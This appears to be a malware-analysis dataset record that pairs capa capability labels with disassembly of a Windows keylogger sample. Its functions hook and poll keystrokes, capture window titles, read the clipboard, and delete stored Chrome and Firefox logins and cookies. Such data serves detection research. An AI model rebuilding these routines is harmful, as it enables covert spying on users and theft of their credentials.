joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40628b
Capabilities:
Delete file
Move file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x186ec
call fcn.004505a0
push ebx
push esi
mov esi, ecx
lea edx, [ebp + 0x10]
push edi
xorps xmm0, xmm0
mov dword [ebp - 0xc], esi
xor ebx, ebx
movlpd qword [ebp - 8], xmm0
push 0x45f7f4
lea ecx, [ebp - 0x44]
mov dword [ebp - 0x14], ebx
call fcn.00407516
pop ecx
push eax
lea ecx, [ebp - 0x2c]
call fcn.004032fa
lea ecx, [ebp - 0x44]
call fcn.00401ed0
push ebx
push 0x80
push 2
push ebx
push ebx
push 4
lea ecx, [ebp - 0x2c]
call fcn.00401ecb
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 4], ecx
ja 0x406365
mov edi, dword [ebp + 8]
jb 0x4062ff
cmp dword [ebp - 8], edi
jae 0x406365
push ecx
push 0x186a0
lea eax, [ebp - 0x186e8]
mov ecx, esi
push eax
call fcn.00404b24
mov esi, eax
cdq
add dword [ebp - 8], eax
lea eax, [ebp - 0x14]
push ebx
adc dword [ebp - 4], edx
push eax
push esi
lea eax, [ebp - 0x186e8]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esp, 0x18
lea eax, [ebp - 8]
mov ecx, esp
push 8
push eax
call fcn.0040208b
mov ecx, dword [ebp - 0xc]
push 0x57
call fcn.00404a6e
test esi, esi
jle 0x40639f
mov eax, dword [ebp + 0xc]
mov esi, dword [ebp - 0xc]
cmp dword [ebp - 4], eax
jb 0x4062ff
ja 0x406362
cmp dword [ebp - 8], edi
jb 0x4062ff
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp + 0x10]
call fcn.00401ecb
push eax
lea ecx, [ebp - 0x2c]
call fcn.00401ecb
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileW]
mov bl, 1
lea ecx, [ebp - 0x2c]
call fcn.00401ed0
lea ecx, [ebp + 0x10]
call fcn.00401ed0
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x2c]
call fcn.00401ecb
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x406386

Function at 0x4063b9
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
push esi
push edi
mov esi, ecx
call fcn.004020b5
lea ecx, [ebp + 8]
call fcn.00401f75
mov edi, eax
jmp 0x406440
push 0xa
lea eax, [ebp - 4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
push eax
call fcn.0043a6ff
add esp, 0xc
lea eax, [ebp - 4]
lea ecx, [ebp - 0x4c]
push 0x2d
push eax
call fcn.00402064
mov ecx, eax
call fcn.00401f75
push eax
mov edx, esi
lea ecx, [ebp - 0x34]
call fcn.0040755a
pop ecx
mov edx, eax
lea ecx, [ebp - 0x1c]
call fcn.0040759e
pop ecx
push eax
mov ecx, esi
call fcn.00401fb1
lea ecx, [ebp - 0x1c]
call fcn.00401fa7
lea ecx, [ebp - 0x34]
call fcn.00401fa7
lea ecx, [ebp - 0x4c]
call fcn.00401fa7
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc edi
add edi, eax
cmp byte [edi], 0
jne 0x4063d4
lea ecx, [ebp + 8]
call fcn.00401fa7
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40857f
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push ebx
push esi
push edi
lea eax, [ebp + 8]
add ecx, 0x90
push eax
call fcn.00401f8d
xor eax, eax
mov byte [ebp - 0xc], al
mov dword [ebp - 0xb], eax
mov dword [ebp - 7], eax
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardLayoutNameA]
mov ebx, 0x46c400
mov ecx, ebx
call fcn.00404955
sub esp, 0x10
mov esi, 0x46bacc
mov edi, esp
mov ecx, ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.004049d2
mov edi, 0x46c578
push 0x12
mov ecx, edi
call fcn.00401e29
mov ecx, eax
call fcn.00401f75
push 0x2a
mov ecx, edi
mov esi, eax
call fcn.00401e29
sub esp, 0x18
mov ebx, 0x46c238
mov edi, esp
mov ecx, 0x46c3b0
push eax
push ebx
lea eax, [ebp + 8]
push eax
push ebx
call fcn.00401ecb
mov ecx, eax
call fcn.004173db
mov edx, eax
lea ecx, [ebp - 0x114]
call fcn.00416b7e
mov edx, dword [0x46c3f8]
lea ecx, [ebp - 0xfc]
push eax
push ebx
call fcn.00416b7e
push eax
movzx eax, byte [esi]
lea edx, [ebp - 0xc]
push ebx
push eax
push ebx
lea ecx, [ebp - 0xe4]
call fcn.004075e8
pop ecx
mov edx, eax
lea ecx, [ebp - 0xcc]
call fcn.0040759e
pop ecx
mov edx, eax
lea ecx, [ebp - 0xb4]
call fcn.00402f73
pop ecx
mov edx, eax
lea ecx, [ebp - 0x9c]
call fcn.00402efd
pop ecx
mov edx, eax
lea ecx, [ebp - 0x84]
call fcn.00402f73
pop ecx
mov edx, eax
lea ecx, [ebp - 0x6c]
call fcn.00402efd
pop ecx
mov edx, eax
lea ecx, [ebp - 0x54]
call fcn.00402f73
pop ecx
mov edx, eax
lea ecx, [ebp - 0x3c]
call fcn.00402f73
pop ecx
mov edx, eax
lea ecx, [ebp - 0x24]
call fcn.00402f73
pop ecx
mov edx, eax
mov ecx, edi
call fcn.00402f73
pop ecx
push 0x12
mov ecx, 0x46c400
call fcn.00404a6e
lea ecx, [ebp - 0x24]
mov esi, eax
call fcn.00401fa7
lea ecx, [ebp - 0x3c]
call fcn.00401fa7
lea ecx, [ebp - 0x54]
call fcn.00401fa7
lea ecx, [ebp - 0x6c]
call fcn.00401fa7
lea ecx, [ebp - 0x84]
call fcn.00401fa7
lea ecx, [ebp - 0x9c]
call fcn.00401fa7
lea ecx, [ebp - 0xb4]
call fcn.00401fa7
lea ecx, [ebp - 0xcc]
call fcn.00401fa7
lea ecx, [ebp - 0xe4]
call fcn.00401fa7
lea ecx, [ebp - 0xfc]
call fcn.00401fa7
lea ecx, [ebp - 0x114]
call fcn.00401fa7
lea ecx, [ebp + 8]
call fcn.00401fa7
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x18
Function at 0x408744
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
lea eax, [ebp + 8]
push ebx
push esi
mov esi, ecx
push edi
push eax
lea ecx, [esi + 0x60]
mov byte [esi + 0x49], 1
call fcn.00409dd4
cmp byte [0x46a9d4], 0x32
mov edi, str.Offline_Keylogger_Started
je 0x408798
push edi
lea ecx, [esp + 0x14]
call fcn.00402064
sub esp, 0x18
lea edx, [esp + 0x28]
mov ecx, esp
call fcn.00416c32
mov ecx, esi
call fcn.00409636
lea ecx, [esp + 0x10]
call fcn.00401fa7
sub esp, 0x18
mov ecx, esp
push edi
call fcn.00402064
sub esp, 0x18
mov ecx, esp
push str._Info_
call fcn.00402064
call fcn.004165d8
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
add esp, 0x30
xor ebx, ebx
push ebx
push ebx
push esi
push 0x40884d
push ebx
push ebx
call edi
cmp dword [esi], ebx
jne 0x4087de
push ebx
push ebx
push esi
push 0x408832
push ebx
push ebx
call edi
push ebx
push ebx
push esi
push 0x40885c
push ebx
push ebx
call edi
lea ecx, [ebp + 8]
call fcn.00401ed0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x18

Function at 0x4087fb
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
lea eax, [ebp + 8]
push eax
lea ecx, [esi + 0x60]
call fcn.00409dd4
cmp byte [esi + 0x49], 0
jne 0x408825
xor eax, eax
push eax
push eax
push esi
push 0x408841
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea ecx, [ebp + 8]
call fcn.00401ed0
pop esi
pop ebp
ret 0x18

Function at 0x408894
Capabilities:
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x38
push esi
mov esi, ecx
push edi
xor edi, edi
mov dword [0x46baf0], esi
cmp dword [esi], edi
jne 0x40890f
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
push 0x40887d
push 0xd
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
mov dword [esi], eax
test eax, eax
jne 0x40890f
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea ecx, [esp + 0xc]
call fcn.00416b7e
sub esp, 0x18
mov edx, str.Keylogger_initialization_failure:_error
mov ecx, esp
push eax
call fcn.004075c4
sub esp, 0x14
mov ecx, esp
push str._ERROR_
call fcn.00402064
call fcn.004165d8
add esp, 0x30
lea ecx, [esp + 0xc]
call fcn.00401fa7
xor eax, eax
inc eax
jmp 0x40893d
push edi
push edi
push edi
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x40893b
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [esi], edi
jne 0x40890f
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4089bc
Capabilities:
Get keyboard layout
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
push ebx
push esi
push edi
push 0x100
lea eax, [ebp - 0x124]
mov ebx, ecx
push 0
push eax
call fcn.00431810
add esp, 0xc
lea edi, [ebp - 0x22]
xor eax, eax
mov word [ebp - 0x24], ax
push 7
pop ecx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
lea ecx, [ebp - 4]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
push 0x10
mov esi, eax
call dword [sym.imp.USER32.dll_GetKeyState]
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardState]
push esi
push 0
push 0x10
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x124]
push eax
push dword [ebx + 0x50]
push dword [ebx + 0x4c]
call dword [sym.imp.USER32.dll_ToUnicodeEx]
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x24]
push eax
call fcn.0040425f
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x408bc2
Capabilities:
Get file size

Disassembly:
mov eax, dword [0x46c3f8]
or eax, dword [0x46c3fc]
push ebx
push esi
push edi
mov esi, ecx
je 0x408c6f
xor ebx, ebx
mov byte [esi + 0x39], bl
push ebx
push 0x80
push 3
push ebx
push 7
push closesocket
mov ecx, 0x46c3b0
call fcn.00401ecb
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x408c43
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp ebx, dword [0x46c3fc]
jb 0x408c3a
ja 0x408c1f
cmp eax, dword [0x46c3f8]
jb 0x408c3a
mov byte [esi + 0x39], 1
cmp byte [esi + 0x49], bl
je 0x408c2f
mov ecx, esi
call fcn.004095ab
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x408c46
mov byte [esi + 0x39], bl
cmp byte [esi + 0x39], 1
je 0x408bdd
cmp byte [esi + 0x49], bl
jne 0x408c6f
cmp byte [0x46a9d4], 0x31
jne 0x408c6f
sub esp, 0x18
lea eax, [esi + 0x60]
mov ecx, esp
push eax
call fcn.00407352
mov ecx, esi
call fcn.00408744
pop edi
pop esi
pop ebx
ret
Function at 0x408c73
Capabilities:
Check if file exists
Create directory
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x464
push ebx
mov ebx, ecx
push esi
push edi
lea esi, [ebx + 4]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, ebx
call fcn.00408bc2
mov edx, 0x45f714
mov ecx, esi
call fcn.004074e6
test al, al
je 0x408e8d
mov ecx, 0x46c3c8
call fcn.00409db7
test al, al
jne 0x408cce
push 0
mov ecx, 0x46c3c8
call fcn.00401ecb
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea edi, [ebx + 0x60]
mov ecx, edi
call fcn.00401ecb
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
test al, 2
je 0x408cf6
push 0x80
mov ecx, edi
call fcn.00401ecb
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0x12
mov ecx, 0x46c578
call fcn.00401e29
mov ecx, eax
call fcn.00401f75
cmp byte [eax], 0
jne 0x408d3b
push 1
mov ecx, edi
call fcn.00401ecb
push eax
mov ecx, esi
call fcn.00402469
mov esi, eax
lea ecx, [ebx + 4]
add esi, esi
call fcn.00401ecb
mov edx, esi
mov ecx, eax
call fcn.0041729f
pop ecx
pop ecx
jmp 0x408e56
lea ecx, [esp + 0x10]
call fcn.004020b5
mov ecx, 0x46c560
call fcn.00402469
push eax
mov ecx, 0x46c560
call fcn.00401f75
push eax
lea ecx, [esp + 0x78]
call fcn.00405a2f
mov ecx, edi
call fcn.00401ecb
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x408dd2
lea ecx, [esp + 0x28]
call fcn.004020b5
mov ecx, edi
call fcn.00401ecb
lea edx, [esp + 0x28]
mov ecx, eax
call fcn.00417334
test al, al
je 0x408dc9
lea ecx, [esp + 0x28]
call fcn.00402469
push eax
lea ecx, [esp + 0x2c]
call fcn.00401f75
push eax
lea eax, [esp + 0x48]
push eax
lea ecx, [esp + 0x7c]
call fcn.00405b57
push eax
lea ecx, [esp + 0x14]
call fcn.00401fb1
lea ecx, [esp + 0x40]
call fcn.00401fa7
lea ecx, [esp + 0x28]
call fcn.00401fa7
mov ecx, esi
call fcn.00402469
add eax, eax
mov ecx, esi
push eax
call fcn.00401ecb
push eax
lea ecx, [esp + 0x48]
call fcn.0040208b
push eax
lea ecx, [esp + 0x14]
call fcn.00403416
lea ecx, [esp + 0x40]
call fcn.00401fa7
lea ecx, [esp + 0x10]
call fcn.00402469
push eax
lea ecx, [esp + 0x14]
call fcn.00401f75
push eax
lea eax, [esp + 0x60]
push eax
lea ecx, [esp + 0x7c]
call fcn.00405b57
mov ecx, edi
call fcn.00401ecb
sub esp, 0x18
mov esi, eax
lea eax, [esp + 0x70]
mov ecx, esp
push eax
call fcn.004020cc
mov ecx, esi
call fcn.004173a6
add esp, 0x18
lea ecx, [esp + 0x58]
call fcn.00401fa7
lea ecx, [esp + 0x10]
call fcn.00401fa7
lea esi, [ebx + 4]
push 0x45f714
mov ecx, esi
call fcn.00409dcb
push 0x13
mov ecx, 0x46c578
call fcn.00401e29
mov ecx, eax
call fcn.00401f75
cmp byte [eax], 0
je 0x408e8d
push 6
mov ecx, edi
call fcn.00401ecb
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
cmp byte [ebx + 0x49], 0
jne 0x408c87
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x409197
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x74
push ebx
push esi
push edi
mov edi, ecx
cmp byte [edi + 0x49], 0
jne 0x4091b5
cmp byte [edi + 0x4a], 0
je 0x4093a6
mov eax, dword fs:[0x2c]
mov ecx, dword [eax]
mov eax, dword [0x46dcf0]
cmp eax, dword [ecx + 4]
jle 0x4091ff
push 0x46dcf0
call fcn.0042ea6c
cmp dword [0x46dcf0], 0xffffffff
pop ecx
jne 0x4091ff
mov ecx, 0x46dcf4
call fcn.00401f4d
push 0x45204b
call fcn.0042edf6
mov dword [esp], 0x46dcf0
call fcn.0042ea2d
pop ecx
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov ebx, eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
mov esi, eax
push 0
lea ecx, [esi + 1]
push ecx
lea ecx, [esp + 0x28]
call fcn.00409dee
test esi, esi
je 0x4092d4
lea ecx, [esp + 0x20]
call fcn.00402469
push eax
lea ecx, [esp + 0x24]
call fcn.00401ecb
push eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov edx, 0x46dcf4
lea ecx, [esp + 0x20]
call fcn.00409eae
test al, al
jne 0x4092d4
lea eax, [esp + 0x20]
mov ecx, 0x46dcf4
push eax
call fcn.00409dd4
lea ecx, [esp + 0x20]
call fcn.00402469
dec eax
lea ecx, [esp + 0x20]
push eax
call fcn.00407341
sub esp, 0x18
lea eax, [esp + 0x38]
cmp byte [0x46c39b], 0
je 0x4092a3
mov ecx, esp
push eax
call fcn.00407352
mov ecx, edi
call fcn.00409636
jmp 0x4092d4
mov esi, esp
lea ecx, [esp + 0x50]
push str.___r_n
push eax
mov edx, str._r_n_
call fcn.00409e6b
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00403086
pop ecx
mov ecx, edi
call fcn.00408b82
lea ecx, [esp + 0x38]
call fcn.00401ed0
mov ecx, edi
call fcn.00409c17
call fcn.00416b2e
mov esi, 0xea60
cmp eax, esi
jb 0x40938f
mov ebx, dword [esp + 0x10]
cmp byte [edi + 0x49], 0
jne 0x409301
cmp byte [edi + 0x4a], 0
je 0x40939d
call fcn.00416b2e
cmp eax, esi
jb 0x40931d
mov ebx, eax
push 0x3e8
mov dword [esp + 0x14], ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4092f1
push 0xa
lea eax, [esp + 0x18]
xor edx, edx
push eax
mov eax, ebx
div esi
push eax
call fcn.0043a6ff
add esp, 0xc
lea eax, [esp + 0x14]
lea ecx, [esp + 0x68]
push str._minutes__r_n
push eax
call fcn.00402064
push eax
mov edx, str._r_n_User_has_been_idle_for
lea ecx, [esp + 0x58]
call fcn.004075c4
pop ecx
mov edx, eax
lea ecx, [esp + 0x3c]
call fcn.0040530d
sub esp, 0x14
mov edx, eax
mov ecx, esp
call fcn.00416c32
mov ecx, edi
call fcn.00408b82
lea ecx, [esp + 0x38]
call fcn.00401fa7
lea ecx, [esp + 0x50]
call fcn.00401fa7
lea ecx, [esp + 0x68]
call fcn.00401fa7
lea ecx, [esp + 0x20]
call fcn.00401ed0
jmp 0x4091a5
lea ecx, [esp + 0x20]
call fcn.00401ed0
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4093af
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
mov esi, ecx
push edi
cmp byte [esi + 0x4a], 0
jne 0x409449
mov edi, str.Online_Keylogger_Started
mov byte [esi + 0x4a], 1
push edi
lea ecx, [ebp - 0x18]
call fcn.00402064
sub esp, 0x18
lea edx, [ebp - 0x18]
mov ecx, esp
call fcn.00416c32
mov ecx, esi
call fcn.00409636
lea ecx, [ebp - 0x18]
call fcn.00401fa7
sub esp, 0x18
mov ecx, esp
push edi
call fcn.00402064
sub esp, 0x18
mov ecx, esp
push str._Info_
call fcn.00402064
call fcn.004165d8
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
xor ebx, ebx
add esp, 0x30
cmp byte [esi + 0x49], bl
jne 0x40943d
cmp dword [esi], ebx
jne 0x409431
push ebx
push ebx
push esi
push 0x408832
push ebx
push ebx
call edi
push ebx
push ebx
push esi
push 0x40885c
push ebx
push ebx
call edi
push ebx
push ebx
push esi
push 0x40886b
push ebx
push ebx
call edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x409bdb
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push esi
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x409c02
push 0xd
call dword [sym.imp.USER32.dll_GetClipboardData]
mov esi, eax
call dword [sym.imp.USER32.dll_CloseClipboard]
test esi, esi
je 0x409c02
push esi
jmp 0x409c07
push 0x45f714
mov ecx, dword [ebp + 8]
call fcn.0040425f
mov eax, dword [ebp + 8]
pop esi
pop ebp
ret 4

Function at 0x409d75
Capabilities:
Delete directory
Delete file
Terminate thread

Disassembly:
push ebx
xor ebx, ebx
push ebx
push 0x40884d
mov byte [0x46c399], bl
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [0x46c350]
test eax, eax
je 0x409dac
push eax
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
push ebx
push 0x408832
mov dword [0x46c350], ebx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ecx, 0x46c350
pop ebx
jmp fcn.00409d38
Function at 0x40a1b1
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0x14], edx
mov dword [ebp - 0xc], ecx
test ecx, ecx
jne 0x40a1c5
xor eax, eax
jmp 0x40a204
push esi
mov esi, dword [ecx + 0x3c]
cmp dword [esi + ecx + 0x74], 0x10
jb 0x40a285
cmp dword [esi + ecx + 0x7c], 0
je 0x40a285
mov esi, dword [esi + ecx + 0x78]
mov eax, edx
add esi, ecx
shr eax, 0x10
mov dword [ebp - 0x10], esi
test ax, ax
jne 0x40a208
movzx edx, dx
sub edx, dword [esi + 0x10]
mov eax, dword [esi + 0x1c]
lea eax, [eax + edx*4]
mov eax, dword [eax + ecx]
add eax, ecx
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [esi + 0x24]
push ebx
push edi
mov edi, dword [esi + 0x20]
xor ebx, ebx
add edi, ecx
add eax, ecx
cmp dword [esi + 0x18], ebx
jbe 0x40a277
mov dword [ebp - 8], edx
mov edx, dword [edi]
add edx, ecx
mov esi, dword [ebp - 8]
mov cl, byte [edx]
mov byte [ebp - 1], cl
cmp cl, byte [esi]
mov ecx, dword [ebp - 0xc]
mov esi, dword [ebp - 0x10]
jne 0x40a25f
cmp byte [ebp - 1], 0
je 0x40a25b
mov esi, dword [ebp - 8]
mov cl, byte [edx + 1]
mov byte [ebp - 1], cl
cmp cl, byte [esi + 1]
mov ecx, dword [ebp - 0xc]
mov esi, dword [ebp - 0x10]
jne 0x40a25f
add dword [ebp - 8], 2
add edx, 2
cmp byte [ebp - 1], 0
jne 0x40a222
xor edx, edx
jmp 0x40a264
sbb edx, edx
or edx, 1
test edx, edx
je 0x40a28c
mov edx, dword [ebp - 0x14]
add edi, 4
add eax, 2
inc ebx
cmp ebx, dword [esi + 0x18]
jb 0x40a21b
mov edx, dword [ebp - 0x14]
cmp ebx, dword [esi + 0x18]
pop edi
pop ebx
jne 0x40a1f8
xor eax, eax
jmp 0x40a203
movzx edx, word [eax]
jmp 0x40a27a

Function at 0x40a291
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push str.AppDataLocalGoogleChromeUser_DataDefaultLogin_Data
push 0x45fc74
call fcn.0043919a
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00402064
mov edx, eax
lea ecx, [ebp - 0x18]
call fcn.0040530d
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00401fa7
lea ecx, [ebp - 0x18]
call fcn.00401f75
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40a2f8
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec eax
sub eax, 1
je 0x40a2ec
sub eax, 1
je 0x40a2ec
xor bl, bl
jmp 0x40a311
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_StoredLogins_not_found_
jmp 0x40a302
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_StoredLogins_found__cleared__
call fcn.00402064
call fcn.0040aa8c
mov bl, 1
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.00401fa7
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40a320
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push str.AppDataLocalGoogleChromeUser_DataDefaultCookies
push 0x45fc74
call fcn.0043919a
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00402064
mov edx, eax
lea ecx, [ebp - 0x18]
call fcn.0040530d
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00401fa7
lea ecx, [ebp - 0x18]
call fcn.00401f75
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40a387
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec eax
sub eax, 1
je 0x40a37b
sub eax, 1
je 0x40a37b
xor bl, bl
jmp 0x40a3a0
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_Cookies_not_found_
jmp 0x40a391
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_Cookies_found__cleared__
call fcn.00402064
call fcn.0040aa8c
mov bl, 1
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.00401fa7
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40a3af
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1d4
lea ecx, [ebp - 0x60]
push esi
call fcn.004020b5
lea ecx, [ebp - 0x48]
call fcn.004020b5
lea ecx, [ebp - 0x18]
call fcn.004020b5
push str.AppDataRoamingMozillaFirefoxProfiles_
lea ecx, [ebp - 0x78]
call fcn.00402064
push eax
push 0x45fc74
call fcn.0043919a
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.004075c4
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.00401fb1
lea ecx, [ebp - 0x30]
call fcn.00401fa7
lea ecx, [ebp - 0x78]
call fcn.00401fa7
lea eax, [ebp - 0x1d0]
push eax
push 0x45fc34
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.0040755a
pop ecx
mov ecx, eax
call fcn.00401f75
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea ecx, [ebp - 0x78]
mov esi, eax
call fcn.00401fa7
cmp esi, 0xffffffff
jne 0x40a577
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_StoredLogins_not_found_
call fcn.00402064
call fcn.0040aa8c
add esp, 0x18
jmp 0x40a5ab
test byte [ebp - 0x1d0], 0x10
je 0x40a577
lea ecx, [ebp - 0x1a4]
cmp byte [ecx], 0x2e
jne 0x40a48e
movzx eax, byte [ecx + 1]
test al, al
je 0x40a577
lea edx, [ebp - 0x1a4]
xor ecx, ecx
movzx eax, byte [edx + ecx]
mov edx, 0x45fd94
cmp al, byte [edx + ecx]
lea edx, [ebp - 0x1a4]
jne 0x40a4b4
inc ecx
cmp ecx, 3
jne 0x40a496
xor eax, eax
jmp 0x40a4b9
sbb eax, eax
or eax, 1
test eax, eax
je 0x40a577
lea eax, [ebp - 0x1a4]
push str.logins.json
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x90]
call fcn.0040755a
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.0040530d
pop ecx
push eax
lea ecx, [ebp - 0x60]
call fcn.00401fb1
lea ecx, [ebp - 0x30]
call fcn.00401fa7
lea ecx, [ebp - 0x90]
call fcn.00401fa7
lea eax, [ebp - 0x1a4]
push str.key3.db
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x30]
call fcn.0040755a
pop ecx
mov edx, eax
lea ecx, [ebp - 0x90]
call fcn.0040530d
pop ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.00401fb1
lea ecx, [ebp - 0x90]
call fcn.00401fa7
lea ecx, [ebp - 0x30]
call fcn.00401fa7
lea ecx, [ebp - 0x60]
call fcn.00401f75
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40a55e
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [ebp - 0x48]
call fcn.00401f75
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40a577
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [ebp - 0x1d0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40a46a
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_StoredLogins_Cleared__
call fcn.00402064
call fcn.0040aa8c
add esp, 0x18
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
lea ecx, [ebp - 0x18]
call fcn.00401fa7
lea ecx, [ebp - 0x48]
call fcn.00401fa7
lea ecx, [ebp - 0x60]
call fcn.00401fa7
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret